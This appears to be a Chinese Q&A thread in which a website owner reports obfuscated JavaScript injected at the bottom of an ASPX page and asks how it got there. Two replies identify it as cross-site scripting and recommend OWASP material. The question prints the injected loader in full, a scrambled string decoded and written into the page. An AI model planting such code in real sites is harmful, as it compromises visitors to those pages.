Question

今天我发现我的网站已关闭...我将错误转为关闭并跟踪错误。事实证明，我的aspx页面底部添加了一些代码..（请在下面找到代码）。显然，因为代码有一些html标签，我的aspx页面不允许..导致错误。

我不知道我应该检查哪些场景可能有漏洞，有人能够将代码插入我的aspx页面？

<html>
 <body>
<script>
var a='';
var b='%2/tafod%h2b233 Cstx-ri2%%32d%i e%/i.nci5g%e%%% 30hisen%h2%%r0/ irt-cis232D0e2f %22mcmimt2t2o2CEr%%nrae2%h2r%%a mDAlmu.w2i5mDEe fcpahch%D0%fr2r a33aond02e2a33m ';
var c='5314869720';
for(var i=0;i<16;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*16)+i);
document.writeln(unescape(a));
</script>
</body>    
</html>

Answer 1

对我来说看起来像cross-site scripting (XSS)。在SQL注入之后，这是最常见的＃2攻击。

没有冒犯意味着，我不知道您的经验/背景，但如果您不了解XSS，并且您是网络开发人员，我强烈建议您阅读。 OWASP是一个很好的资源。

XSS不仅会影响访问您网站的用户，但感谢CSRF (Cross-Site Request Forgery) XSS可以用于您的观看者登录的attack on other websites，因此它不仅会影响您和您的网站，还会影响其他人同样。

Answer 2

是大卫是对的......你可以开始阅读Prevent Cross-Site Scripting

希望这会有所帮助...

正在插入的代码

2 个答案: